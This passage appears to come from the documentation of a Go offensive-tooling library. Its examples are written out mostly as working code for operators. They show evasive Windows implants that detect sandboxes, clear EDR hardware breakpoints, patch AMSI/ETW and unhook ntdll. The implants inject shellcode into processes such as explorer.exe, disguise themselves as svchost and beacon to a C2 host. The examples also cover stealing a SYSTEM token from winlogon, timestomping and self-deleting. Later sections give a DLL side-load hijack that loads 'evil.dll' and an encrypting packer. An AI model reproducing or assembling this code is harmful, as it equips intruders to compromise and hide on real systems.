# carries no plaintext API names AND no ROR13-fingerprintable hashes.
go run ./cmd/hashgen -algo fnv1a32 -package main \
    -o internal/apihashes.go \
    NtAllocateVirtualMemory NtProtectVirtualMemory NtCreateThreadEx

# OPSEC release build (strip + UPX-morph + masquerade).
make release BINARY=implant.exe CMD=.

Hardening dials

  • Swap preset.Stealth()preset.Hardened() to add CET opt-out (required for APC-delivered shellcode on Win11+CET hosts) without the irreversible ACG / BlockDLLs of Aggressive.
  • Swap MethodCreateThreadMethodIndirectAsm-routed MethodEarlyBirdAPC for a quieter execution primitive on Win10/11 (suspended child + APC inject, no CreateRemoteThread event).
  • Replace crypto.DecryptAESGCM + bytes payload with crypto.NewAESGCMReader over an io.Reader for multi-MB payloads — bounded peak memory + per-frame tampering detection.

See also

Example: Evasive Remote Injection

← Back to README

Inject shellcode into a target process from a hardened context: the implant clears EDR hardware breakpoints, applies the canonical evasion preset through indirect-asm syscalls, opts out of CET when possible (falling back to ENDBR64-prefixing the shellcode otherwise), then delivers via inject.Build(...) with MethodCallbackEnumWindows fall-through to MethodSectionMap for the loud cases.

What changed since the v0.16-era version of this example:

  • evasion/preset.Stealth() + cet.CETOptOut() — three hand-listed techniques became one slice. CETOptOut relaxes ProcessUserShadowStackPolicy when allowed, otherwise the next layer prefixes the shellcode with ENDBR64.
  • cet.Wrap(sc) belt-and-suspenders — even when cet.Disable succeeds, we wrap. Wrap is idempotent and a no-op when the marker is already present, so it costs nothing on bare metal and saves the process when CET enforcement turns out to be stricter than we expected (Win11 24H2+ Hyper-V hosts in particular).
  • inject.ExecuteCallbackBytes + inject.MethodEnforcesCET — the modern callback path auto-Wraps when the chosen inject.CallbackMethod enforces CET (Wait callbacks + NtNotifyChangeDirectory's APC dispatcher are the strict ones). One call instead of manual alloc + protect + execute.
  • recon/antivm.Hypervisor() sandbox-bail — single CPUID + RDTSC probe. Cannot be evaded by registry / DMI / file rewrites; the hypervisor itself sets the bit.
  • MethodIndirectAsm + custom HashFunc — same NT-call seam as basic-implant.md. No writable stub page, no per-call VirtualProtect, non-ROR13 module-name hash to defeat static fingerprints.
  • evasion/stealthopen.MultiStealth — drop-in *Standard replacement for any consumer that opens files. Per-path lazy ObjectID capture + cache; the path-based file hook fires once per unique file, then never. The bundled preset.Stealth() doesn't carry an opener seam yet (the Technique interface passes only the Caller), so callers wanting MultiStealth here must bypass the preset and wire unhook.FullUnhook(caller, &MultiStealth{}) directly — see the "MultiStealth-aware variant" below.
flowchart TD
    A[Start] --> B{Hypervisor.LikelyVM?}
    B -->|yes| Z[Exit silently]
    B -->|no| C[hwbp.ClearAll<br>defeat DR-register monitoring]
    C --> D[Caller: IndirectAsm + FNV-1a HashGate]
    D --> E[preset.Stealth + CETOptOut<br>via Caller + MultiStealth]
    E --> F[UseDecrypted → AES-GCM<br>plaintext defer-wiped]
    F --> G{cet.Enforced?}
    G -->|yes| H[cet.Wrap shellcode]
    G -->|no| I[Skip wrap]
    H --> J[ExecuteCallbackBytes<br>EnumWindows / RtlRegisterWait]
    I --> J

Code — self-process callback execution (zero new thread)

package main

import (
    "os"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/recon/antivm"
    "github.com/oioio-space/maldev/recon/hwbp"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// AES-GCM ciphertext + key. Replace with your build pipeline's output.
var (
    ciphertext = []byte{ /* … */ }
    key        = []byte{ /* 32-byte AES-256 key */ }
)

func main() {
    // 1. Bail on any VM/sandbox before paying any other cost.
    if antivm.Hypervisor().LikelyVM {
        os.Exit(0)
    }

    // 2. Wipe EDR hardware breakpoints. CrowdStrike / S1 set HWBPs
    //    on Nt* prologues that survive the inline-unhook pass.
    _, _ = hwbp.ClearAll()

    // 3. Indirect-asm syscalls + non-ROR13 module-name hash. The
    //    custom hash defeats static fingerprints on the well-known
    //    ROR13 ntdll constant 0x411677B7.
    caller := wsyscall.New(
        wsyscall.MethodIndirectAsm,
        wsyscall.NewHashGateWith(hash.FNV1a32),
    ).WithHashFunc(hash.FNV1a32)

    // 4. Apply Stealth + CET opt-out. The bundled preset doesn't
    //    accept a stealthopen.Opener (the Technique interface
    //    receives only a Caller); the unhook step inside reads
    //    ntdll.dll via the default *Standard opener. See the
    //    "MultiStealth-aware variant" below for the per-file
    //    Object-ID hook-bypass path.
    techniques := append(preset.Stealth(), preset.CETOptOut())
    if errs := evasion.ApplyAll(techniques, caller); len(errs) != 0 {
        os.Exit(1)
    }

    // 5. Decrypt with defer-wipe of the plaintext.
    err := crypto.UseDecrypted(
        func() ([]byte, error) {
            return crypto.DecryptAESGCM(key, ciphertext)
        },
        func(plaintext []byte) error {
            // 6. Belt-and-suspenders CET prefix. cet.Wrap is
            //    idempotent — no-op when the marker is already
            //    present, so it costs nothing on bare metal and
            //    saves us if Disable misjudged the host's policy.
            sc := cet.Wrap(plaintext)

            // 7. ExecuteCallbackBytes auto-Wraps internally for
            //    methods that enforce CET (RtlRegisterWait,
            //    NtNotifyChangeDirectory). EnumWindows runs on the
            //    calling thread and is CET-clean; we still pre-Wrap
            //    above so Wait/APC fall-throughs work without code
            //    changes.
            return inject.ExecuteCallbackBytes(sc, inject.CallbackEnumWindows)
        },
    )
    if err != nil {
        os.Exit(1)
    }
}

MultiStealth-aware variant — explicit unhook with Object-ID open

The bundled preset.Stealth() invokes unhook.Full().Apply(caller) internally, which routes through the default *Standard opener (plain os.Open on ntdll.dll). When the operator wants the path-based file hook to fire only once per unique file across the implant's lifetime, drop the preset and wire MultiStealth into the unhook calls directly:

import (
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/evasion/unhook"
)

opener := &stealthopen.MultiStealth{} // reusable, zero-config

// AMSI + ETW patches don't read files; safe to apply through the
// preset path with no opener concern.
_ = amsi.PatchAll(caller)
_ = etw.PatchAll(caller)

// Unhook reads ntdll.dll repeatedly (one read per *Classic call,
// plus one read for FullUnhook). Wire MultiStealth so the path
// hook only fires for the FIRST read; every subsequent read of
// the same path routes through OpenByID and bypasses the hook.
if err := unhook.FullUnhook(caller, opener); err != nil { /* … */ }

// Optional: relax CET if the host policy allows.
_ = cet.Disable() // no-op on hosts without CET enforcement

Operators can keep the preset for the AMSI+ETW half and replace just the unhook step:

techniques := append([]evasion.Technique{},
    amsi.All(),       // == preset.Minimal()'s AMSI bit
    etw.All(),        // == preset.Minimal()'s ETW bit
    preset.CETOptOut(),
)
_ = evasion.ApplyAll(techniques, caller)
_ = unhook.FullUnhook(caller, opener) // separate so the opener flows through

Alternative — cross-process delivery via Build + decorator chain

// When the target is another process, the Build() fluent API
// composes method + syscall mode + middleware in one chain.
// CET concerns are out of scope here — the shellcode runs in the
// target's CET regime, decided by the target's manifest.
inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(targetPID).                 // from process/enum.FindByName
    IndirectSyscalls().                   // matches the standalone caller above
    Use(inject.WithValidation).           // size + entropy preflight
    Use(inject.WithXORKey(0xA5)).         // XOR the in-flight shellcode
    WithFallback().                       // try sibling methods on err
    Create()
if err != nil { /* … */ }

if err := inj.Inject(shellcode); err != nil { /* … */ }

MethodSectionMap and friends aren't part of the builder's fallback graph today — call them directly:

// SectionMap: cross-process via NtCreateSection + NtMapViewOfSection.
// No WriteProcessMemory, no per-byte page touch.
_ = inject.SectionMapInject(targetPID, shellcode, caller)

// PhantomDLL: map a clean System32 DLL into the target, overwrite
// its .text. The Opener parameter routes the system DLL read
// through MultiStealth so the path-based file hook fires once.
_ = inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)

// ModuleStomp: same idea, own-process. Returns the planted address;
// follow up with ExecuteCallbackBytes or a direct call.
addr, _ := inject.ModuleStomp("msftedit.dll", shellcode)
_ = addr

Choosing the callback method

inject.MethodEnforcesCET(method) bool answers whether the chosen CallbackMethod runs through a CET-enforced dispatcher. Use it to gate Wrap / Disable decisions when the operator has runtime choice of method:

m := inject.CallbackRtlRegisterWait // or any other CallbackMethod
if inject.MethodEnforcesCET(m) && cet.Enforced() {
    sc = cet.Wrap(sc) // mandatory or process dies with 0xC000070A
}
_ = inject.ExecuteCallbackBytes(sc, m)

ExecuteCallbackBytes does the same check internally — the manual form above is for callers that want to inspect the decision.

Technique comparison

TechniqueWriteProcessMemoryNew threadFile-backedCET-sensitiveDetection
MethodCreateRemoteThreadyesyesnodispatcher-dependenthigh
MethodSectionMapnoyesnodispatcher-dependentmedium
MethodModuleStompyes (own)no (self)yesnolow
CallbackEnumWindowsno (self)nononolow
CallbackRtlRegisterWaitno (self)yes (pool)noyes (Wait)low
CallbackNtNotifyChangeDirectoryno (self)yes (APC)noyes (APC)low
MethodThreadPoolno (self)nonodispatcher-dependentlow
MethodPhantomDLLyesyesyesnomedium

CET-sensitive paths require either cet.Disable() to relax the policy at start-up (process-global; one-way) OR cet.Wrap() to prefix the shellcode with F3 0F 1E FA (per-payload; idempotent). ExecuteCallbackBytes picks the right behaviour by default.

See also

Example: Full Attack Chain

← Back to README

End-to-end implant lifecycle: build-time identity laundering → sandbox-bail → preset evasion → indirect-asm cross-process inject → sleep-mask beacon loop → on-demand cleanup. The shape mirrors the two sibling examples (basic-implant.md, evasive-injection.md) so a reader who follows them in order sees one stack composed three ways.

What changed since the v0.16-era version of this example:

  • Build-time identity via pe/masquerade instead of nothing — the binary inherits svchost.exe's VERSIONINFO + manifest + icons at link time, so pe/strip only has to scrub Go-toolchain artefacts after the fact. Makes T1036.005 pull its weight before any runtime cost is paid.
  • antivm.Hypervisor() + recon/sandbox two-tier bail — single CPUID/RDTSC probe up front (cheap, unfakeable), full multi-dimension sandbox check second (slower, can be tuned by the operator). Earlier example only had antivm.Detect + IsSandboxed with no priority order.
  • preset.Stealth() + CETOptOut() instead of hand-listed AMSI/ETW/Unhook — same techniques, one slice. Aggressive callers can swap to preset.Hardened() (drops ACG/BlockDLLs to keep injection paths open) or preset.Aggressive() (everything one-way, after final allocation).
  • MethodIndirectAsm + custom HashFunc — same NT-call seam as the sibling examples. Defeats both inline-hook and ROR13-static- fingerprint detection in one swap.
  • sleepmask.Mask.Sleep Ekko strategy — encrypts the implant's RX region across beacon naps so a memory scanner timed against the dormant window finds AES ciphertext, not shellcode bytes. Earlier example just opened a uTLS socket and exited; this one shows a real beacon loop.
  • Cleanup kept but reordered: SecureZero runs immediately after the consumer is done with each buffer (not at the end); timestomp.SetFull happens once at end-of-mission.
flowchart TD
    BT["BUILD TIME<br/>masquerade.Build to .syso"] --> RT[RUNTIME]
    RT --> A{Hypervisor?}
    A -->|yes| Z[Exit silently]
    A -->|no| B{IsSandboxed?}
    B -->|yes| Z
    B -->|no| C[hwbp.ClearAll]
    C --> D[Caller: IndirectAsm + FNV-1a]
    D --> E[preset.Stealth + CETOptOut]
    E --> F["Decrypt → Cross-process inject<br/>via SectionMap"]
    F --> G[Wipe local shellcode buffer]
    G --> H[Beacon loop]
    H --> I["sleepmask.Sleep<br/>Ekko strategy"]
    I --> J{Beacon work due?}
    J -->|yes| K[Do C2 work]
    J -->|no| I
    K --> H
    H -->|exit signal| L[Cleanup: timestomp + selfdelete]

Build-time step (run once, then commit the .syso)

//go:build ignore
// +build ignore

// cmd/masquerade-bake/main.go — run via `go generate ./...` or in CI
// to emit a `resource.syso` next to main.go before `go build`.
package main

import "github.com/oioio-space/maldev/pe/masquerade"

func main() {
    if err := masquerade.Build(
        "resource.syso",
        masquerade.AMD64,
        masquerade.AsInvoker,
        masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
    ); err != nil {
        panic(err)
    }
}

The go build step picks up the .syso automatically. The resulting binary's VERSIONINFO / manifest / icons match svchost — file-properties dialogs and naive allowlists accept it as a Windows service host.

Runtime — the implant proper

package main

import (
    "context"
    "log"
    "os"
    "time"

    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/cleanup/selfdelete"
    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/recon/antivm"
    "github.com/oioio-space/maldev/recon/hwbp"
    "github.com/oioio-space/maldev/recon/sandbox"
    "github.com/oioio-space/maldev/win/token"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

var (
    encShellcode = []byte{ /* AES-256-GCM ciphertext from build */ }
    aesKey       = []byte{ /* 32-byte key from build */ }
)

func main() {
    // ── Phase 1: Recon ─────────────────────────────────────────
    // Two-tier bail: cheap CPUID/RDTSC first, full sandbox check
    // second.
    if antivm.Hypervisor().LikelyVM {
        os.Exit(0)
    }
    checker := sandbox.New(sandbox.DefaultConfig())
    if hit, _, _ := checker.IsSandboxed(context.Background()); hit {
        os.Exit(0)
    }

    // ── Phase 2: Evasion ───────────────────────────────────────
    _, _ = hwbp.ClearAll() // wipe EDR DR0-DR3 hardware breakpoints

    caller := wsyscall.New(
        wsyscall.MethodIndirectAsm,
        wsyscall.NewHashGateWith(hash.FNV1a32),
    ).WithHashFunc(hash.FNV1a32)

    techniques := append(preset.Stealth(), preset.CETOptOut())
    _ = evasion.ApplyAll(techniques, caller)

    // ── Phase 3: Inject ────────────────────────────────────────
    var planted struct {
        addr uintptr
        size uintptr
    }
    err := crypto.UseDecrypted(
        func() ([]byte, error) {
            return crypto.DecryptAESGCM(aesKey, encShellcode)
        },
        func(sc []byte) error {
            // Find target. explorer.exe is the canonical "always
            // there, runs as the user" pivot for cross-session
            // implants; pick something more specific in practice.
            procs, err := enum.FindByName("explorer.exe")
            if err != nil || len(procs) == 0 {
                return os.ErrNotExist
            }
            pid := int(procs[0].PID)

            // SectionMap: NtCreateSection + NtMapViewOfSection
            // cross-process. No WriteProcessMemory call — section
            // mapping is a different EDR signal class than the
            // classic write-then-CreateRemoteThread pattern.
            if err := inject.SectionMapInject(pid, sc, caller); err != nil {
                return err
            }
            // For the demo: assume the section was planted at the
            // first VirtualAllocEx-like address. Real callers track
            // the address through the inject.SelfInjector
            // InjectedRegion result — out of scope here since we're
            // cross-process.
            planted.addr = 0
            planted.size = uintptr(len(sc))
            return nil
        },
    )
    if err != nil {
        log.Fatalf("inject: %v", err)
    }
    // crypto.UseDecrypted defer-wiped the plaintext shellcode.

    // ── Phase 4: Beacon loop with sleep-mask ──────────────────
    //
    // For an own-process implant the SelfInjector's InjectedRegion
    // would feed straight into mask.New(...). The cross-process
    // case needs a sibling RemoteMask (evasion/sleepmask) — out of
    // scope here. The own-process snippet:
    //
    //   region := sleepmask.Region{Addr: planted.addr, Size: planted.size}
    //   mask := sleepmask.New(region).
    //       WithCipher(sleepmask.NewAESCTRCipher()).
    //       WithStrategy(&sleepmask.EkkoStrategy{})
    //
    //   for { _ = mask.Sleep(ctx, 60*time.Second); doC2Work() }

    // ── Phase 5: C2 (uTLS Chrome JA3) ─────────────────────────
    c2 := transport.NewUTLS(
        "c2.example.com:443",
        30*time.Second,
        transport.WithJA3Profile(transport.JA3Chrome),
        transport.WithSNI("api.example.com"),
    )
    if err := c2.Connect(context.Background()); err != nil {
        log.Fatalf("c2 connect: %v", err)
    }
    defer c2.Close()

    // ── Phase 6: Post-exploitation ────────────────────────────
    // Steal SYSTEM token from winlogon (requires SeDebugPrivilege —
    // already enabled if the implant is admin).
    tok, err := token.StealByName("winlogon.exe")
    if err == nil {
        defer tok.Close()
        _ = tok.EnableAllPrivileges()
        // Use tok with windows.CreateProcessAsUser /
        // win/impersonate.ImpersonateToken for elevated work.
    }

    // ── Phase 7: Cleanup ──────────────────────────────────────
    // Clone the timestamps of a benign neighbour so the dropped
    // implant blends with the directory it was unpacked into.
    now := time.Now().Add(-30 * 24 * time.Hour)
    _ = timestomp.SetFull(os.Args[0], now, now, now)

    // Self-delete the running EXE via the NTFS-rename trick.
    // The mapped image stays valid in process memory, so the
    // current goroutine keeps running; the file vanishes from disk.
    _ = selfdelete.Run()

    // Final beacon-loop placeholder — replace with the real
    // mask.Sleep loop once you wire the cross-process
    // RemoteMask (out of scope above).
    select {}
}

// memSecureZero is shown here for reference even though
// crypto.UseDecrypted handles plaintext wipe automatically:
//   memory.SecureZero(buf)
// Use it directly when you allocate sensitive buffers outside the
// UseDecrypted scope.
var _ = memory.SecureZero // silence "imported and not used"

Phase-by-phase summary

PhaseWhatMITREWhy now
0 (build)pe/masquerade clones svchost identity into .sysoT1036.005Cheapest moment to fake VERSIONINFO + manifest
1 (recon)Hypervisor()IsSandboxed two-tier bailT1497Cheap probe first, expensive second
2 (evasion)hwbp.ClearAll, preset.Stealth + CETOptOut via MethodIndirectAsmT1562Blind the host before any payload move
3 (inject)crypto.UseDecrypted + inject.SectionMapInject cross-processT1055Defer-wipe + no-WriteProcessMemory
4 (sleep)sleepmask.Mask.Sleep Ekko strategyT1027Encrypted RX between beacons
5 (C2)c2/transport.NewUTLS Chrome JA3 + SNIT1573Blends with browser TLS fingerprint
6 (post-ex)token.StealByName("winlogon.exe") + EnableAllPrivilegesT1134SYSTEM token for elevated pivots
7 (cleanup)timestomp.SetFull + selfdelete.RunT1070Disk + metadata scrub before exit

OPSEC layers active

graph LR
    subgraph "Build"
        B1[masquerade.Build .syso]
        B2[pe/strip Go-toolchain artefacts]
        B3[hashgen pre-computed FNV-1a constants]
    end
    subgraph "Runtime — Code"
        R1[MethodIndirectAsm syscalls]
        R2["ResolveByHash (FNV-1a, not ROR13)"]
        R3[hwbp.ClearAll]
        R4[preset.Stealth + CETOptOut]
    end
    subgraph "Runtime — Memory"
        M1[crypto.UseDecrypted defer-wipe]
        M2[sleepmask.Sleep encrypted RX]
        M3[memory.SecureZero on demand]
    end
    subgraph "Runtime — Network"
        N1[uTLS Chrome JA3]
        N2[SNI alignment]
        N3[mTLS / cert pin]
    end
    subgraph "Cleanup"
        C1[timestomp.SetFull]
        C2[selfdelete.Run]
    end

Hardening dials

Three swap-points an operator can flip without restructuring the implant:

  • preset.Stealth()preset.Hardened() for Win11 + CET hosts where APC delivery breaks without the explicit opt-out.
  • MethodIndirectAsmMethodIndirect if you're targeting Win11 ARM64 (the asm stub is amd64-only).
  • sleepmask.NewAESCTRCipher()sleepmask.NewRC4Cipher() for hosts without AES-NI — RC4 is ~2× slower per byte but carries no hardware dependency.

See also

Example: DLL-Proxy Side-Load

← Back to README

End-to-end DLL search-order hijack: discover where a victim binary loads a DLL from a user-writable path before reaching System32, generate a forwarder DLL that re-exports every symbol to the real target while running an extra payload on DLL_PROCESS_ATTACH, drop it next to the victim, and let the victim launch.

The flow chains four packages — recon/dllhijack for discovery, pe/parse for export enumeration, pe/dllproxy for emit, and the operator's chosen file-write primitive (often evasion/stealthopen.MultiStealth) for deployment.

flowchart TD
    A[recon/dllhijack.ScanAll] --> B[Rank by Score<br>AutoElevate, IntegrityGain, Service]
    B --> C[Pick top Opportunity]
    C --> D[pe/parse.File.ExportEntries<br>read victim DLL exports]
    D --> E[pe/dllproxy.GenerateExt<br>emit forwarder PE]
    E --> F[Drop bytes at<br>Opportunity.HijackedPath]
    F --> G[Trigger victim launch<br>service start / scheduled task / login]
    G --> H[Victim loads our DLL first]
    H --> I[DllMain runs<br>LoadLibraryA payload.dll]
    I --> J[Forwarder re-exports to real target]
    J --> K[Victim continues normally]

Discovery — find the best opportunity

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/recon/dllhijack"
)

opps, err := dllhijack.ScanAll() // services + processes + tasks + auto-elevate
if err != nil {
    log.Fatal(err)
}

ranked := dllhijack.Rank(opps) // sort: AutoElevate > IntegrityGain > Service > …
if len(ranked) == 0 {
    log.Fatal("no hijack opportunities discovered")
}
best := ranked[0]
fmt.Printf("[+] target=%s dll=%s drop=%s score=%d auto=%t\n",
    best.BinaryPath, best.HijackedDLL, best.HijackedPath,
    best.Score, best.AutoElevate)

Output on a default Win11 box typically surfaces a handful of high-value hits (fodhelper.exe, sdclt.exe, wlrmdr.exe — all AutoElevate=true) and dozens of medium-value ones (third-party services with side-load-prone dependency loads).

Emit — generate the forwarder DLL

import (
    "github.com/oioio-space/maldev/pe/dllproxy"
    "github.com/oioio-space/maldev/pe/parse"
)

// Read the export list from the REAL target — the DLL the victim
// would load if our proxy weren't there. We need every named
// export so the loader resolves symbol references through our
// proxy's forwarders without "entry point not found" failures.
realDLL, err := parse.OpenFile(best.ResolvedDLL) // e.g. C:\Windows\System32\version.dll
if err != nil {
    log.Fatal(err)
}
defer realDLL.Close()

exports, err := realDLL.ExportEntries() // names + ordinals + forwarders
if err != nil {
    log.Fatal(err)
}

// Emit the forwarder PE. Zero-value Options is fine for the
// happy path; toggle DOSStub + PatchCheckSum to defeat
// fingerprint-by-absence and ImageHlp-style sanity checks.
proxyBytes, err := dllproxy.GenerateExt(
    best.HijackedDLL, // e.g. "version.dll" — must match what the
                       // victim asks for in its IAT
    exports,
    dllproxy.Options{
        Machine:       dllproxy.MachineAMD64,
        PathScheme:    dllproxy.PathSchemeGlobalRoot,
        PayloadDLL:    `C:\ProgramData\evil.dll`, // dropped earlier
        DOSStub:       true,                       // canonical "DOS mode" stub
        PatchCheckSum: true,                       // ImageHlp accepts the file
    },
)
if err != nil {
    log.Fatal(err)
}

The forwarder's runtime contract:

  1. The Windows loader maps our proxy because it appears in the victim's search order before System32.
  2. DllMain fires with DLL_PROCESS_ATTACH. The 32-byte stub LoadLibraryA(PayloadDLL) runs — that's where the operator's own DLL gets hosted in the victim process.
  3. Every named export resolves through a \\.\GLOBALROOT\… forwarder back to the real System32 DLL — no symbol is ever "not found", and no recursion (the absolute path bypasses the search order).
  4. The victim continues as if the real DLL had loaded. From the victim's POV nothing changed except a side-loaded extra DLL.

Deploy — drop the proxy at the target path

import (
    "os"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/evasion/stealthopen"
)

// Path-based EDR file hooks see the CreateFile here. Route
// through a stealthopen.Creator (or `stealthopen.WriteAll`) when
// you want operator-controlled write semantics; plain os.WriteFile
// is fine for the canonical drop — defenders watching for new
// DLLs in service / auto-elevate parents already have signal
// regardless of the API.
if err := stealthopen.WriteAll(nil, best.HijackedPath, proxyBytes); err != nil {
    log.Fatal(err)
}

// Clone the timestamps of the legitimate System32 DLL so the
// dropped proxy blends with the directory listing — defeats
// "newest file in dir" forensic heuristics.
_ = timestomp.CopyFrom(best.ResolvedDLL, best.HijackedPath)
_ = os.Args // silence unused-import in this snippet

Validate — confirm the hijack fires before going loud

dllhijack.Validate drops a canary DLL (a tiny payload that writes a marker file when loaded), triggers the victim, polls for the marker, and cleans up. Use it to confirm the opportunity is real before dropping the actual implant DLL:

canary := buildCanaryDLL(best.HijackedDLL) // small DLL that touches a marker file

result, err := dllhijack.Validate(best, canary, dllhijack.ValidateOpts{
    MarkerDir: `C:\Users\Public`,
    Timeout:   30 * time.Second,
})
if err != nil {
    log.Fatalf("validate: %v", err)
}
if !result.Confirmed {
    log.Fatalf("canary did not fire — opportunity is not real (errors: %v)", result.Errors)
}
log.Printf("canary fired in %s — proceeding with real proxy",
    result.ConfirmedAt.Sub(result.TriggerAt))

Trigger — launch the victim

The trigger depends on Opportunity.Kind:

KindTrigger
KindServicesc start <Opportunity.ID> (or windows/svc/mgr.Service.Start())
KindAutoElevatespawn the executable at BinaryPath (UAC silently elevates)
KindScheduledTaskschtasks /run /tn <Opportunity.ID> (or COM ITaskService)
KindProcesswait for the running process to next reload the DLL — typically a logoff/logon cycle for shell extensions, or a service restart

For KindAutoElevate, the elevated child process inherits no arguments from us by default; the side-loaded payload runs inside the auto-elevated victim, so privilege gain happens for free.

Limitations

  • KnownDLLs are excluded from hijack candidates. Files registered under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls are early-load-mapped from \KnownDlls\ and bypass the search order entirely. dllhijack.ScanAll filters these automatically.
  • Same-architecture only. A 64-bit victim won't load a 32-bit proxy. Use dllproxy.Options{Machine: dllproxy.MachineI386} to emit a PE32 proxy for WOW64 targets.
  • Forwarder text length is bounded. The \\.\GLOBALROOT\SystemRoot\System32\<target>.<export> string must fit in MAX_PATH (260) per export. Targets with extreme symbol-name lengths may fail emission — fall back to PathSchemeSystem32 (shorter prefix, slightly louder against per-process DLL-load monitors).
  • Code signing. Some auto-elevate binaries gate on the loaded DLL's signature in modern builds. Pair with pe/cert.Write + a stolen cert chain when the victim's manifest declares requireAdministrator AND the trusted-loader policy is on (rare but rising).
  • Timestamps + filename. The proxy must be named EXACTLY what the victim asks for (case-insensitive on NTFS, but be careful on case-sensitive filesystems shared via NFS). Mismatched mtimes vs. the surrounding directory are a forensic indicator — cleanup/timestomp.SetFull clones MAC times from the real System32 copy.
  • KindProcess opportunities are not always reachable. A dependency that's already loaded won't reload because we dropped a new file. Confirm reachability by either restarting the process (loud) or finding a different Kind opportunity for the same DLL.

See also

Worked example — UPX-style packer + cover layer

← examples index · docs/index

Goal

Take a compiled Go static-PIE Linux ELF (or Windows PE32+), produce a single self-contained binary the kernel loads normally but whose .text is encrypted at rest. Optionally chain a static-analysis cover layer that inflates the binary with junk sections of mixed entropy.

This is the v0.61.0 ship of pe/packer.PackBinary. It replaces the broken v0.59.0 / v0.60.0 architecture (host wrapper + stage 2 Go EXE); see [.dev/refactor-2026/KNOWN-ISSUES-1e.md][kn] for the post-mortem.

What's in the chain

flowchart LR
    A[input PE/ELF] --> B[PackBinary<br/>SGN-encrypt .text<br/>append CALL+POP+ADD stub<br/>rewrite OEP]
    B --> C{format?}
    C -->|PE32+| D[AddCoverPE<br/>append junk MEM_READ sections]
    C -->|ELF64| E[AddCoverELF<br/>append junk PT_LOAD R-only]
    D --> F[output]
    E --> F

Three layers, all pure-Go, no cgo, no external tools:

  1. PackBinary — encrypts the input's .text with the SGN polymorphic encoder, appends a small CALL+POP+ADD-prologue decoder stub as a new section, rewrites the entry point. Output is single-binary; the kernel handles loading.
  2. ApplyDefaultCover — auto-detects PE vs ELF and appends 3 junk sections (mixed Random / Pattern / Zero fill) with randomized legit-looking names. Defeats fingerprint matchers that rely on exact section count + offset.
  3. (Optional) further AddCoverPE / AddCoverELF calls with operator-supplied CoverOptions for fine-grained cover tuning.

Code

package main

import (
    "fmt"
    "os"
    "time"

    "github.com/oioio-space/maldev/pe/packer"
)

func main() {
    if len(os.Args) != 3 {
        fmt.Println("usage: packer-example <input> <output>")
        os.Exit(2)
    }

    payload, err := os.ReadFile(os.Args[1])
    if err != nil {
        fmt.Printf("read input: %v\n", err)
        os.Exit(1)
    }

    // 1. UPX-style transform — encrypt .text, embed stub, rewrite OEP.
    //    Format auto-detection is left to the operator: pick PE for
    //    Windows targets, ELF for Linux. Stage1Rounds=3 is the
    //    ship-tested baseline (more rounds = larger stub + slower
    //    decrypt; few enough rounds to keep the stub under 4 KiB).
    format := packer.FormatLinuxELF
    if isPE(payload) {
        format = packer.FormatWindowsExe
    }
    packed, _, err := packer.PackBinary(payload, packer.PackBinaryOptions{
        Format:       format,
        Stage1Rounds: 3,
        Seed:         time.Now().UnixNano(),
    })
    if err != nil {
        fmt.Printf("PackBinary: %v\n", err)
        os.Exit(1)
    }

    // 2. Cover layer — three junk sections at randomized names +
    //    mixed entropy fills. v0.62.0 lifted the Go static-PIE
    //    limitation: ApplyDefaultCover now succeeds for ELF inputs
    //    by relocating the PHT to file-end when no in-place slack
    //    exists. The graceful-degrade fallback handles any
    //    unexpected edge-cases.
    out := packed
    if covered, err := packer.ApplyDefaultCover(packed, time.Now().UnixNano()); err == nil {
        out = covered
    } else {
        fmt.Printf("(skipping cover layer: %v)\n", err)
    }

    if err := os.WriteFile(os.Args[2], out, 0o755); err != nil {
        fmt.Printf("write output: %v\n", err)
        os.Exit(1)
    }
    fmt.Printf("wrote %d bytes to %s\n", len(out), os.Args[2])
}

func isPE(b []byte) bool {
    return len(b) >= 2 && b[0] == 'M' && b[1] == 'Z'
}

Run it

# Build the example.
go build -o /tmp/packer-example ./examples/upx-style-packer

# Pack a Go static-PIE ELF.
go build -buildmode=pie -o /tmp/hello hello/main.go
/tmp/packer-example /tmp/hello /tmp/hello.packed
chmod +x /tmp/hello.packed
/tmp/hello.packed   # runs as if unpacked

Verify

# Sections / segments grew.
readelf -lW /tmp/hello.packed | grep -c LOAD       # > original

# .text bytes are no longer plaintext.
xxd /tmp/hello.packed | head -200                   # no Go strings

# But the binary still runs to clean exit.
echo $?                                             # 0

Multi-seed correctness

v0.61.1 fixed a register-clobber bug that made PackBinary silently produce non-runnable binaries for ~85% of seeds (only Seed: 1 and Seed: 2 happened to dodge it). The root cause: the per-round register allocator was allowed to pick R15, which the CALL+POP+ADD prologue uses to carry the runtime .text address. When a round took R15 as its key/counter register, that address was clobbered and the decoder loop dereferenced the encryption key as a pointer. Multi-seed E2E test (TestPackBinary_LinuxELF_MultiSeed) packs and runs eight seeds end-to-end on every push.

If you observe a clean exit with Seed: 1 but a SIGSEGV with time.Now().UnixNano(), you are running pre-v0.61.1 — upgrade.

Hardening dials

Three swap-points the operator can flip without re-architecting:

KnobDefaultTighten with
Per-build determinismtime.Now().UnixNano() seedHard-code a seed for reproducible packed output (CI builds, hash-based release artifacts)
